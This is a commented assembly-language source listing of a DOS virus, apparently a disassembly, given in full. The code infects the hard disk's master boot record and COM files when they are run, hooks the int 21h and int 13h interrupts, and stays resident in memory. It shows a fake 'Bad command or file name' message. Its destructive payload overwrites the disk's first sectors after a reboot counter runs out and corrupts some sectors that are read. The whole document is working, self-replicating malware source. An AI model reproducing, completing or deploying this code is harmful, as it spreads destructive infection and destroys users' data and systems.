seg_a	segment	byte public
	assume	cs:seg_a, ds:seg_a

	org	100h

start:	jmp	l_0CBD					;0100  E9 0BBA
d_0103	db	'J'					;0103  4A

;=============================================================
;	Victim code here
;-------------------------------------------------------------
	org	076Bh

;=============================================================
;	begin of virus code
;-------------------------------------------------------------

	;-------BOF pattern (jump into virus & contamination ptr)
	db	0E9h					;076B  E9
d_0101	dw	0682Ah		;jump distance		;076C  2A 68
	db	'J'					;076E  4A

;=============================================================
;	Partition table buffer (content not constant)
;-------------------------------------------------------------
r_0104:	jmp	short l_0775				;076F  EB 04
	db	 90h					;0771  90
	db	 'QQ'					;0772  51 51
	db	 64h					;0774  64
l_0775:	push	cs					;0775  0E
	pop	ax					;0776  58
	cmp	ax,0					;0777  3D 0000
	je	l_077F					;077A  74 03
	jmp	short l_07D2				;077C  EB 54
	db	90h					;077E  90
l_077F:	cmp	byte ptr cs:[7C05h],0			;077F  2E: 80 3E 7C05 00
	jne	l_0799					;0785  75 12
l_0787:	mov	ax,310h					;0787  B8 0310
	mov	cx,1					;078A  B9 0001
	mov	dx,80h					;078D  BA 0080
	mov	bx,0					;0790 .BB 0000
	int	13h					;0793  CD 13
	stc						;0795  F9
	cli						;0796  FA
	jc	l_0787					;0797  72 EE
l_0799:	xor	ax,ax					;0799  33 C0
	mov	es,ax					;079B  8E C0
	dec	byte ptr cs:[7C05h]			;079D  2E: FE 0E 7C05
	mov	ax,301h					;07A2  B8 0301
	mov	cx,1					;07A5  B9 0001
	mov	dx,80h					;07A8  BA 0080
	mov	bx,7C00h				;07AB .BB 7C00
	int	13h					;07AE  CD 13
	mov	ax,1000h				;07B0  B8 1000
	mov	es,ax					;07B3  8E C0
	mov	ax,0					;07B5  B8 0000
	mov	ds,ax					;07B8  8E D8
	mov	di,7C00h				;07BA .BF 7C00
	mov	si,di					;07BD  8B F7
	cld						;07BF  FC
	mov	cx,200h					;07C0  B9 0200
	rep	movsb					;07C3  F3/ A4
	mov	ax,1000h				;07C5  B8 1000
	push	ax					;07C8  50
	mov	ax,7C00h				;07C9  B8 7C00
	push	ax					;07CC  50
	mov	bp,sp					;07CD  8B EC
;*	jmp	dword ptr [bp]				;07CF  FF 6E 00
	db	0FFh, 6Eh, 00h				;07CF  FF 6E 00
l_07D2:	xor	ax,ax					;07D2  33 C0
	mov	ds,ax					;07D4  8E D8
	mov	ax,27Bh					;07D6  B8 027B
	mov	ds:[0413h],ax				;07D9  A3 0413
	mov	ax,9F00h				;07DC  B8 9F00
	mov	es,ax					;07DF  8E C0
	mov	bx,0100h				;07E1 .BB 0100
	mov	al,8					;07E4  B0 08
	mov	ah,2					;07E6  B4 02
	mov	ch,0					;07E8  B5 00
	mov	cl,3					;07EA  B1 03
	mov	dh,0					;07EC  B6 00
	mov	dl,80h					;07EE  B2 80
	int	13h					;07F0  CD 13
	xor	ax,ax					;07F2  33 C0
	mov	ds,ax					;07F4  8E D8
	mov	word ptr ds:[03D4h],'JM'		;07F6  C7 06 03D4 4A4D
	mov	ax,48Bh					;07FC  B8 048B
	mov	ds:[0070h],ax				;07FF  A3 0070
	mov	word ptr ds:[0072h],9F00h		;0802  C7 06 0072 9F00
	mov	ax,0					;0808  B8 0000
	mov	es,ax					;080B  8E C0
	mov	bx,7C00h				;080D .BB 7C00
	mov	ah,2					;0810  B4 02
	mov	al,1					;0812  B0 01
	mov	ch,0					;0814  B5 00
	mov	cl,2					;0816  B1 02
	mov	dh,0					;0818  B6 00
	mov	dl,80h					;081A  B2 80
	int	13h					;081C  CD 13
	xor	ax,ax					;081E  33 C0
	push	ax					;0820  50
	mov	ax,7C00h				;0821  B8 7C00
	push	ax					;0824  50
	mov	bp,sp					;0825  8B EC
;*	jmp	dword ptr [bp]		;*1 entry	;0827  FF 6E 00
	db	0FFh, 6Eh, 00h				;0827  FF 6E 00
	db	'. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah	;082A  2E 20 66 69 78 65
							;0830  64 20 64 69 73 6B
							;0836  2E 0D 0A 0D 0A
	db	'Insert COMPAQ DOS diskette in dr'	;083B  49 6E 73 65 72 74
							;0841  20 43 4F 4D 50 41
							;0847  51 20 44 4F 53 20
							;084D  64 69 73 6B 65 74
							;0853  74 65 20 69 6E 20
							;0859  64 72
	db	'ive A.', 0Dh, 0Ah, 'Press any ke'	;085B  69 76 65 20 41 2E
							;0861  0D 0A 50 72 65 73
							;0867  73 20 61 6E 79 20
							;086D  6B 65
	db	'y when ready: '			;086F  79 20 77 68 65 6E
							;0875  20 72 65 61 64 79
							;087B  3A 20
	db	7					;087D  07
	db	207 dup (0)				;087E  00CF[00]
	db	 80h, 01h, 01h, 00h, 04h, 06h		;094D  80 01 01 00 04 06
	db	 51h, 6Dh, 11h, 00h, 00h, 00h		;0953  51 6D 11 00 00 00
	db	 11h,0AAh, 00h, 00h, 00h, 00h		;0959  11 AA 00 00 00 00
	db	 41h, 6Eh, 04h, 06h, 91h,0DBh		;095F  41 6E 04 06 91 DB
	db	 22h,0AAh, 00h, 00h, 22h,0AAh		;0965  22 AA 00 00 22 AA
	db	 00h, 00h, 55h,0AAh			;096B  00 00 55 AA
;----------------------------------------------------------------
;	partition table buffer end
;----------------------------------------------------------------

r_0304	dw	 1460h		;int 21h offset		;096F  60 14
r_0306	dw	 0273h		;int 21h segment	;0971  73 02

r_0308	dw	 1DADh		;int 13h offset		;0973  AD 1D
r_030A	dw	 0070h		;int 13h segment	;0973  70 00

	db	 2Bh					;0977  2B

r_030D	db	 1		;desturction active if=0;0978  01
r_030E	dw	 0		;:= 0C8h - to activation;0979  00 00

r_0310	db	 0E9h,34h,05h,01h	;victim bytes	;097B  E9 34 05 01

r_0314	db	'Bad command or file name',0Dh,0Ah,'$'	;097F  42 61 64 20 63 6F
							;0985  6D 6D 61 6E 64 20
							;098B  6F 72 20 66 69 6C
							;0991  65 20 6E 61 6D 65
							;0997  0D 0A 24

d_032F	dw	 5		;file handle		;099A  05 00
d_0331	dw	 066Bh		;healthy file length	;099C  6B 06

;===============================================================
;	Is virus resident ?
;---------------------------------------------------------------
s_099E	proc	near
	push	ax					;099E  50
	push	ds					;099F  1E
	xor	ax,ax					;09A0  33 C0
	mov	ds,ax					;09A2  8E D8
	cmp	word ptr ds:[03D4h],'JM'    ;int F5h	;09A4  81 3E 03D4 4A4D
	je	l_09B0					;09AA  74 04
	clc			;<- NOT resident	;09AC  F8
	jmp	short l_09B1				;09AD  EB 02
	db	90h					;09AF  90

l_09B0:	stc			;<- YES, resident	;09B0  F9
l_09B1:	pop	ds					;09B1  1F
	pop	ax					;09B2  58
	retn						;09B3  C3
s_099E	endp

;===============================================================
;	Set infection flag
;---------------------------------------------------------------
s_09B4	proc	near
	push	ax					;09B4  50
	push	ds					;09B5  1E
	xor	ax,ax					;09B6  33 C0
	mov	ds,ax					;09B8  8E D8
	mov	word ptr ds:[03D4h],'JM'		;09BA  C7 06 03D4 4A4D
	pop	ds					;09C0  1F
	pop	ax					;09C1  58
	retn						;09C2  C3
s_09B4	endp

;===============================================================
;	Contamine first hard disk drive
;---------------------------------------------------------------
s_09C3	proc	near
	push	ds					;09C3  1E
	push	es					;09C4  06
	push	cs					;09C5  0E
	pop	ds					;09C6  1F
	mov	ah,2		;read			;09C7  B4 02
	mov	al,1		;1 sector		;09C9  B0 01
	mov	ch,0		;track 0		;09CB  B5 00
	mov	cl,1		;sector 1		;09CD  B1 01
	mov	dh,0		;head 0			;09CF  B6 00
	mov	dl,80h		;first hard disk drive	;09D1  B2 80
	push	cs					;09D3  0E
	pop	es					;09D4  07
	mov	bx,0104h	;= l_076F		;09D5 .BB 0104
	int	13h					;09D8  CD 13

	cmp	cs:[0107h],'QQ'	;contamination signature;09DA  2E: 81 3E 0107 5151
	je	l_0A38		;-> allready infected	;09E1  74 55

				;<- destruction variable initiation
	mov	word ptr cs:[30Eh],0C8h	;= l_0979 count	;09E3  2E: C7 06 030E 00C8
	mov	byte ptr cs:[30Dh],1	;= l_0978 off	;09EA  2E: C6 06 030D 01
	mov	byte ptr cs:[3D5h],64h	;= l_0A40 count	;09F0  2E: C6 06 03D5 64

				;<- save oryginal
	mov	ah,3		;write			;09F6  B4 03
	mov	al,1		;1 sector		;09F8  B0 01
	mov	ch,0		;track 0		;09FA  B5 00
	mov	cl,2		;sector 2		;09FC  B1 02
	mov	dh,0		;head 0			;09FE  B6 00
	mov	dl,80h		;1 HD Drive		;0A00  B2 80
	mov	bx,104h		;= offset l_076F	;0A02 .BB 0104
	int	13h					;0A05  CD 13

				;<- make new Master Boot Record
	mov	cx,0BBh		;constant part length	;0A07  B9 00BB
	inc	cx					;0A0A  41
	mov	si,3D0h		;= offset l_0A3B	;0A0B .BE 03D0
	mov	di,104h		;= offset l_076F	;0A0E .BF 0104
	cld						;0A11  FC
	rep	movsb					;0A12  F3/ A4
	mov	ah,3		;write			;0A14  B4 03
	mov	al,1		;1 sector		;0A16  B0 01
	mov	ch,0		;track 0		;0A18  B5 00
	mov	cl,1		;sector 1		;0A1A  B1 01
	mov	dh,0		;head 0			;0A1C  B6 00
	mov	dl,80h		;1-st HD Drive		;0A1E  B2 80
	mov	bx,0104h	;= offset L_076F	;0A20 .BB 0104
	int	13h					;0A23  CD 13

				;<- write rest of virus code
	mov	al,8		;8 sectors		;0A25  B0 08
	mov	ah,3		;write			;0A27  B4 03
	mov	ch,0		;track 0		;0A29  B5 00
	mov	cl,3		;sector 3		;0A2B  B1 03
	mov	dh,0		;head 0			;0A2D  B6 00
	mov	dl,80h		;1-st HD Drive		;0A2F  B2 80
	mov	bx,100h		;= offset L076B		;0A31 .BB 0100
	push	cs					;0A34  0E
	pop	es					;0A35  07
	int	13h					;0A36  CD 13

			;<-- partition table allready infected
l_0A38:	pop	es					;0A38  07
	pop	ds					;0A39  1F
	retn						;0A3A  C3
s_09C3	endp

;================================================================
;	Master Boot Record code pattern
;----------------------------------------------------------------
	jmp	short l_0A41				;0A3B  EB 04
	nop						;0A3D  90

	db	'QQ'		;contamination sygnature;0A3E  51 51
r_03D5	db	64h		;reboot	count to destr.	;0A40  64

l_0A41:	push	cs					;0A41  0E
	pop	ax					;0A42  58
	cmp	ax,0					;0A43  3D 0000
	je	l_0A4B					;0A46  74 03
	jmp	short l_0A9E				;0A48  EB 54
	nop						;0A4A  90

			;<- code to make destruction
l_0A4B:	cmp	byte ptr cs:[7C05h],0	;= r_0305	;0A4B  2E: 80 3E 7C05 00
	jne	l_0A65		;-> counter not exhaused;0A51  75 12

l_0A53:	mov	ax,0310h	;write 16 sectors	;0A53  B8 0310
	mov	cx,1		;track 0, sector 0	;0A56  B9 0001
	mov	dx,80h		;head 0, HDD 0		;0A59  BA 0080
	mov	bx,0		;buffer			;0A5C .BB 0000
	int	13h					;0A5F  CD 13
	stc						;0A61  F9
	cli						;0A62  FA
	jc	l_0A53		;endless loop		;0A63  72 EE

l_0A65:	xor	ax,ax					;0A65  33 C0
	mov	es,ax					;0A67  8E C0
	dec	byte ptr cs:[7C05h]	;reboot counter	;0A69  2E: FE 0E 7C05
	mov	ax,301h		;write counter to disk	;0A6E  B8 0301
	mov	cx,1					;0A71  B9 0001
	mov	dx,80h					;0A74  BA 0080
	mov	bx,7C00h				;0A77 .BB 7C00
	int	13h					;0A7A  CD 13

	mov	ax,1000h	;make virus boot copy	;0A7C  B8 1000
	mov	es,ax					;0A7F  8E C0
	mov	ax,0					;0A81  B8 0000
	mov	ds,ax					;0A84  8E D8
	mov	di,7C00h				;0A86 .BF 7C00
	mov	si,di					;0A89  8B F7
	cld						;0A8B  FC
	mov	cx,200h					;0A8C  B9 0200
	rep	movsb					;0A8F  F3/ A4
	mov	ax,1000h				;0A91  B8 1000
	push	ax					;0A94  50
	mov	ax,7C00h				;0A95  B8 7C00
	push	ax					;0A98  50
	mov	bp,sp					;0A99  8B EC
	jmp	dword ptr [bp]	;run boot code again	;0A9B  FF 6E 00

l_0A9E:	xor	ax,ax					;0A9E  33 C0
	mov	ds,ax					;0AA0  8E D8
	mov	ax,27Bh		;= 635			;0AA2  B8 027B
	mov	ds:[0413h],ax	;BIOS memory size	;0AA5  A3 0413
	mov	ax,9F00h				;0AA8  B8 9F00
	mov	es,ax					;0AAB  8E C0
	mov	bx,0100h	;virus offset		;0AAD .BB 0100
	mov	al,8		;8 sectors		;0AB0  B0 08
	mov	ah,2		;read			;0AB2  B4 02
	mov	ch,0		;track			;0AB4  B5 00
	mov	cl,3		;sector			;0AB6  B1 03
	mov	dh,0		;head			;0AB8  B6 00
	mov	dl,80h		;hdd nr 0		;0ABA  B2 80
	int	13h					;0ABC  CD 13

	xor	ax,ax					;0ABE  33 C0
	mov	ds,ax					;0AC0  8E D8
	mov	word ptr ds:[03D4h],'JM' ;virus sign.	;0AC2  C7 06 03D4 4A4D
	mov	ax,48Bh					;0AC8  B8 048B
	mov	ds:[0070h],ax		 ;int 1Ch offs	;0ACB  A3 0070
	mov	word ptr ds:[0072h],9F00h;int 1Ch seg	;0ACE  C7 06 0072 9F00
	mov	ax,0					;0AD4  B8 0000
	mov	es,ax					;0AD7  8E C0
	mov	bx,7C00h	;oryg.boot buffer	;0AD9 .BB 7C00
	mov	ah,2		;read			;0ADC  B4 02
	mov	al,1		;1 sector		;0ADE  B0 01
	mov	ch,0		;track=0		;0AE0  B5 00
	mov	cl,2		;oryg. boot sector = 2	;0AE2  B1 02
	mov	dh,0		;head			;0AE4  B6 00
	mov	dl,80h		;drive			;0AE6  B2 80
	int	13h					;0AE8  CD 13

	xor	ax,ax					;0AEA  33 C0
	push	ax					;0AEC  50
	mov	ax,7C00h				;0AED  B8 7C00
	push	ax					;0AF0  50
	mov	bp,sp					;0AF1  8B EC
	jmp	dword ptr [bp]				;0AF3  FF 6E 00
;-------End of MBR pattern

;================================================================
;	int 1Ch handling routine (wait until DOS establishing vectors)
;----------------------------------------------------------------
	cmp	word ptr cs:[30Eh],0			;0AF6  2E: 83 3E 030E 00
	jne	l_0AFF					;0AFC  75 01
	iret						;0AFE  CF

l_0AFF:	push	ax					;0AFF  50
	push	ds					;0B00  1E
	xor	ax,ax					;0B01  33 C0
	mov	ds,ax					;0B03  8E D8
	mov	word ptr ds:[03D4h],'JM'		;0B05  C7 06 03D4 4A4D
	dec	word ptr cs:[30Eh]			;0B0B  2E: FF 0E 030E
	cmp	word ptr cs:[30Eh],0	;counter to dest;0B10  2E: 83 3E 030E 00
	jne	l_0B54					;0B16  75 3C
	cli						;0B18  FA
	mov	byte ptr cs:[30Dh],0	;destruct.active;0B19  2E: C6 06 030D 00
	xor	ax,ax					;0B1F  33 C0
	mov	ds,ax					;0B21  8E D8
	mov	ax,ds:[084h]		;int 21h offset	;0B23  A1 0084
	mov	word ptr cs:[304h],ax			;0B26  2E: A3 0304
	mov	ax,ds:[086h]		;int 21h segment;0B2A  A1 0086
	mov	word ptr cs:[306h],ax			;0B2D  2E: A3 0306
	mov	ax,ds:[04Ch]		;int 13h offset	;0B31  A1 004C
	mov	word ptr cs:[308h],ax			;0B34  2E: A3 0308
	mov	ax,ds:[04Eh]		;int 13h segment;0B38  A1 004E
	mov	word ptr cs:[30Ah],ax			;0B3B  2E: A3 030A
					;<- int 21h
	mov	word ptr ds:[084h],51Bh	;L_0B86 = offset;0B3F  C7 06 0084 051B
	mov	ds:[086h],cs		;	 segment;0B45  8C 0E 0086
					;<- int 13h
	mov	word ptr ds:[04Ch],4ECh	;L_0B57 = offset;0B49  C7 06 004C 04EC
	mov	ds:[04Eh],cs		;	 segment;0B4F  8C 0E 004E

	sti						;0B53  FB
l_0B54:	pop	ds					;0B54  1F
	pop	ax					;0B55  58
	iret						;0B56  CF

;===============================================================
;	Int 13 handling routine - sector destruction
;---------------------------------------------------------------
	CMP     BYTE PTR cs:[030Dh],1	;disable ?	;0B57 2E803E0D0301
	JZ      l_0B81			;-> yes		;0B5D 7422
	CMP     AH,2					;0B5F 80FC02
	JNZ     l_0B81					;0B62 751D
	INC     BYTE PTR cs:[030Ch]	;interval 256	;0B64 2EFE060C03
	CMP     BYTE PTR cs:[030Ch],00			;0B69 2E803E0C0300
	JNZ     l_0B81			;->still waiting;0B6F 7510
	PUSHF						;0B71 9C
	CALL    dword ptr cs:[0308h]		;int 13h;0B72 2EFF1E0803
	MOV     WORD PTR es:[BX+00C8h],'jm'	;destr.	;0B77 26C787C8006D6A
	RETF    2					;0B7E CA0200

l_0B81:	JMP     dword ptr cs:[0308h]		;int 13h;0B81 2EFF2E0803

;===============================================================
;	Int 21h service routine
;---------------------------------------------------------------
r_051B:	CMP     AX,4B00h				;0B86 3D004B
	JZ      l_0B8E					;0B89 7403
	JMP     l_0C5F		;-> oryginal service	;0B8B E9D100

			;<- run program, contamine before
l_0B8E:	push	ax					;0B8E  50
	push	bx					;0B8F  53
	push	cx					;0B90  51
	push	dx					;0B91  52
	push	bp					;0B92  55
	push	di					;0B93  57
	push	si					;0B94  56
	push	ds					;0B95  1E
	push	es					;0B96  06
	call	s_0C64		;check type of victim	;0B97  E8 00CA
	jnc	l_0B9F		;-> COM			;0B9A  73 03
	jmp	l_0C50		;-> not COM		;0B9C  E9 00B1

l_0B9F:	mov	ax,4301h	;set file attribute	;0B9F  B8 4301
	mov	cx,0		;no atributtes		;0BA2  B9 0000
	int	21h					;0BA5  CD 21

	mov	byte ptr cs:[30Dh],1	;no destruction	;0BA7  2E: C6 06 030D 01
	mov	ah,3Dh		;open file		;0BAD  B4 3D
	mov	al,2		;read/write		;0BAF  B0 02
	int	21h					;0BB1  CD 21

	jnc	l_0BB8		;-> O.K.		;0BB3  73 03
	jmp	l_0C50		;-> error, exit		;0BB5  E9 0098

l_0BB8:	mov	word ptr cs:[32Fh],ax	;file handle	;0BB8  2E: A3 032F
	call	s_0C7F		;check if file infected	;0BBC  E8 00C0
	jnc	l_0BC4		;-> no			;0BBF  73 03
	jmp	l_0C47		;-> yes			;0BC1  E9 0083

l_0BC4:	xor	cx,cx		;offset := 0		;0BC4  33 C9
	mov	dx,cx					;0BC6  8B D1
	mov	ax,4200h	;move file ptr BOF+offs	;0BC8  B8 4200
	mov	bx,word ptr cs:[32Fh]	;file handle	;0BCB  2E: 8B 1E 032F
	int	21h					;0BD0  CD 21

	mov	cx,4			;4 bytes	;0BD2  B9 0004
	mov	bx,word ptr cs:[32Fh]	;file handle	;0BD5  2E: 8B 1E 032F
	mov	dx,310h			;L097B = safes	;0BDA .BA 0310
	mov	ah,3Fh			;read file	;0BDD  B4 3F
	push	cs					;0BDF  0E
	pop	ds					;0BE0  1F
	int	21h					;0BE1  CD 21

	jnc	l_0BE8			;-> O.K.	;0BE3  73 03
	jmp	short l_0C47		;-> ERROR	;0BE5  EB 60
	nop						;0BE7  90

l_0BE8:	mov	ax,4202h		;file ptr EOF+of;0BE8  B8 4202
	mov	bx,word ptr cs:[32Fh]	;file handle	;0BEB  2E: 8B 1E 032F
	xor	cx,cx			;offset=0	;0BF0  33 C9
	xor	dx,dx					;0BF2  33 D2
	int	21h					;0BF4  CD 21

	mov	word ptr cs:[331h],ax	;L099C = file l.;0BF6  2E: A3 0331
	cmp	dx,0			;high order word;0BFA  83 FA 00
	je	l_0C02			;-> LT 64K bytes;0BFD  74 03
	jmp	short l_0C47		;-> file too big;0BFF  EB 46
	nop						;0C01  90

l_0C02:	and	ah,7Fh		;???			;0C02  80 E4 7F
	cmp	ax,32h		;minimum file size	;0C05  3D 0032
	jg	l_0C0D		;-> O.K.		;0C08  7F 03
	jmp	short l_0C47	;-> too small		;0C0A  EB 3B
	nop						;0C0C  90

l_0C0D:	mov	ah,40h		;file write		;0C0D  B4 40
	mov	bx,word ptr cs:[32Fh]	;file handle	;0C0F  2E: 8B 1E 032F
	mov	cx,5E9h		;virus length		;0C14  B9 05E9
	push	cs					;0C17  0E
	pop	ds		;virus segment		;0C18  1F
	mov	dx,100h		;virus offset		;0C19 .BA 0100
	int	21h					;0C1C  CD 21

	mov	ax,word ptr cs:[331h]	;file length	;0C1E  2E: A1 0331
	add	ax,54Fh			;(+3 = L0CBD)	;0C22  05 054F
	mov	word ptr cs:[101h],ax			;0C25  2E: A3 0101
	xor	cx,cx			;offset := 0	;0C29  33 C9
	xor	dx,dx					;0C2B  33 D2
	mov	al,0			;BOF + offset	;0C2D  B0 00
	mov	ah,42h			;set file ptr	;0C2F  B4 42
	mov	bx,word ptr cs:[32Fh]	;file handle	;0C31  2E: 8B 1E 032F
	int	21h					;0C36  CD 21

	mov	cx,4			;4 bytes	;0C38  B9 0004
	mov	ah,40h			;write file	;0C3B  B4 40
	mov	bx,word ptr cs:[32Fh]	;file handle	;0C3D  2E: 8B 1E 032F
	mov	dx,100h			;virus start cod;0C42 .BA 0100
	int	21h					;0C45  CD 21

			;<- Contamination error entry
l_0C47:	mov	bx,word ptr cs:[32Fh]	;file handle	;0C47  2E: 8B 1E 032F
	mov	ah,3Eh			;close file	;0C4C  B4 3E
	int	21h					;0C4E  CD 21

			;<-- file not infectable or end of infection
l_0C50:	mov	byte ptr cs:[30Dh],0	;enable destruct;0C50  2E: C6 06 030D 00
	pop	es					;0C56  07
	pop	ds					;0C57  1F
	pop	si					;0C58  5E
	pop	di					;0C59  5F
	pop	bp					;0C5A  5D
	pop	dx					;0C5B  5A
	pop	cx					;0C5C  59
	pop	bx					;0C5D  5B
	pop	ax					;0C5E  58
l_0C5F:	jmp	dword ptr cs:[304h]	;oryg. int 21h	;0C5F  2E: FF 2E 0304

;=======================================================
;	Subroutine - check type of victim
;-------------------------------------------------------
s_0C64	proc	near
	push	ax					;0C64  50
	push	bx					;0C65  53
	mov	bx,dx		;victim name offset	;0C66  8B DA
	mov	al,0		;End of path char	;0C68  B0 00
l_0C6A:	inc	bx					;0C6A  43
	cmp	[bx],al					;0C6B  38 07
	jne	l_0C6A					;0C6D  75 FB
	mov	ax,4D4Fh	;'MO'- last COM letters	;0C6F  B8 4D4F
	cmp	[bx-2],ax				;0C72  39 47 FE
	je	l_0C7B		;-> it's COM		;0C75  74 04
	stc			;'not infectable' - ptr	;0C77  F9
	jmp	short l_0C7C				;0C78  EB 02
	db	90h					;0C7A  90
l_0C7B:	clc			;'infectable' - ptr	;0C7B  F8
l_0C7C:	pop	bx					;0C7C  5B
	pop	ax					;0C7D  58
	retn						;0C7E  C3
s_0C64	endp

;=======================================================
;	Subroutine - check if file infected
;-------------------------------------------------------
s_0C7F	proc	near
	jmp	short l_0C83				;0C7F  EB 02
	nop						;0C81  90

d_0C82	db	1		;1 char file buffer	;0C82  01

l_0C83:	push	ax					;0C83  50
	push	bx					;0C84  53
	push	cx					;0C85  51
	push	dx					;0C86  52
	push	es					;0C87  06
	push	ds					;0C88  1E
	push	cs					;0C89  0E
	pop	ds					;0C8A  1F
	mov	ax,4200h	;move file ptr BOF+offs	;0C8B  B8 4200
	mov	bx,word ptr cs:[32Fh]	;file handle	;0C8E  2E: 8B 1E 032F
	xor	cx,cx					;0C93  33 C9
	mov	dx,3		;0:3			;0C95  BA 0003
	int	21h					;0C98  CD 21

	mov	ah,3Fh		;read			;0C9A  B4 3F
	mov	cx,1		;1 byte			;0C9C  B9 0001
	mov	bx,word ptr cs:[32Fh]	;file handle	;0C9F  2E: 8B 1E 032F
	mov	dx,0617h	;L_0C82 =file buffer	;0CA4 .BA 0617
	int	21h					;0CA7  CD 21

	cmp	byte ptr cs:[617h],'J'	;infection ptr	;0CA9  2E: 80 3E 0617 4A
	je	l_0CB5		;-> allready infected	;0CAF  74 04
	clc						;0CB1  F8
	jmp	short l_0CB6	;-> ready to infection	;0CB2  EB 02
	nop						;0CB4  90

l_0CB5:	stc			;<- infected		;0CB5  F9
l_0CB6:	pop	es					;0CB6  07
	pop	ds					;0CB7  1F
	pop	dx					;0CB8  5A
	pop	cx					;0CB9  59
	pop	bx					;0CBA  5B
	pop	ax					;0CBB  58
	retn						;0CBC  C3
s_0C7F	endp

;=======================================================
;	virus entry point
;-------------------------------------------------------
l_0CBD:	call	s_099E		;Is virus resident ?	;0CBD  E8 FCDE
	jnc	l_0CE0		;-> no			;0CC0  73 1E

				;<- run victim
	mov	cx,4		;changed bytes count	;0CC2  B9 0004
	cld						;0CC5  FC
	mov	di,100h		;address		;0CC6 .BF 0100
	call	s_0CCC					;0CC9  E8 0000

;------ restore victim byte
s_0CCC	proc	near
	pop	bp					;0CCC  5D
	sub	bp,661h		;l_066B=virus begin-100h;0CCD  81 ED 0661
	lea	si,[bp+310h]	;l_097B			;0CD1  8D B6 0310
	cld						;0CD5  FC
	rep	movsb					;0CD6  F3/ A4
	push	cs					;0CD8  0E
	mov	ax,offset start				;0CD9 .B8 0100
	push	ax					;0CDC  50
	retn	0FFFEh					;0CDD  C2 FFFE
s_0CCC	endp

				;<- virus not resident yet
l_0CE0:	call	s_0CE3					;0CE0  E8 0000

;------ make virus resident
s_0CE3	proc	near
	pop	bp					;0CE3  5D
	sub	bp,678h		;=066Bh = vir_beg-100h	;0CE4  81 ED 0678
	push	cs					;0CE8  0E
	pop	ds					;0CE9  1F
	push	cs					;0CEA  0E
	pop	es					;0CEB  07
	mov	di,100h					;0CEC .BF 0100
	lea	si,[bp+100h]	;virus code begin	;0CEF  8D B6 0100
	cld						;0CF3  FC
	mov	cx,5E9h		;virus length		;0CF4  B9 05E9
	rep	movsb		;overwrite victim code	;0CF7  F3/ A4
	mov	ax,0693h	;= l_0CFB		;0CF9 .B8 0693
	push	ax					;0CFC  50
	retn						;0CFD  C3
s_0CE3	endp

;---------------------------------------------------------------
;	Run in new place
;---------------------------------------------------------------
r_0693:	MOV     DX,0314h	;=l_097F (Bad command..);0CFE BA1403
	MOV     AH,9		;display string		;0D01 B409
	INT     21h					;0D03 CD21
	PUSH    CS					;0D05 0E
	POP     DS					;0D06 1F
	MOV     AX,3521h	;get int 21h		;0D07 B82135
	INT     21h					;0D0A CD21
	MOV     cs:[0304h],BX	;= l_096F		;0D0C 2E891E0403
	MOV     cs:[0306h],ES	;= l_0971		;0D11 2E8C060603
	CLI						;0D16 FA
	XOR     AX,AX					;0D17 33C0
	MOV     DS,AX					;0D19 8ED8
	MOV     ds:[86h],CS	;int 21h segment	;0D1B 8C0E8600
	MOV     AX,051Bh	;= l_0B86		;0D1F B81B05
	MOV     ds:[84h],AX	;int 21h offset		;0D22 A38400
	STI						;0D25 FB
	CALL    s_09B4		;Set infection flag	;0D26 E88BFC
	CALL    s_09C3		;contamine hard disk	;0D29 E897FC
	PUSH    CS					;0D2C 0E
	POP     DS					;0D2D 1F

	MOV     AX,3513h	;get int 13h vector	;0D2E B81335
	INT     21h					;0D31 CD21
	MOV     cs:[0308h],BX	;= l_0973		;0D33 2E891E0803
	MOV     cs:[030Ah],ES	;= l_0975		;0D38 2E8C060A03

	MOV     DX,04ECh	;= l_0B57		;0D3D BAEC04
	MOV     AX,2513h	;set int 13h vector	;0D40 B81325
	INT     21h					;0D43 CD21

	MOV     DX,06E9h	;= l_0D54		;0D45 BAE906
	MOV     CL,4					;0D48 B104
	SHR     DX,CL					;0D4A D3EA
	ADD     DX,11h		;+256bytes (+alignement);0D4C 83C211
	MOV     AX,3100h	;Terminate&Stay Resident;0D4F B80031
	INT     21h					;0D52 CD21

seg_a	ends

	end	start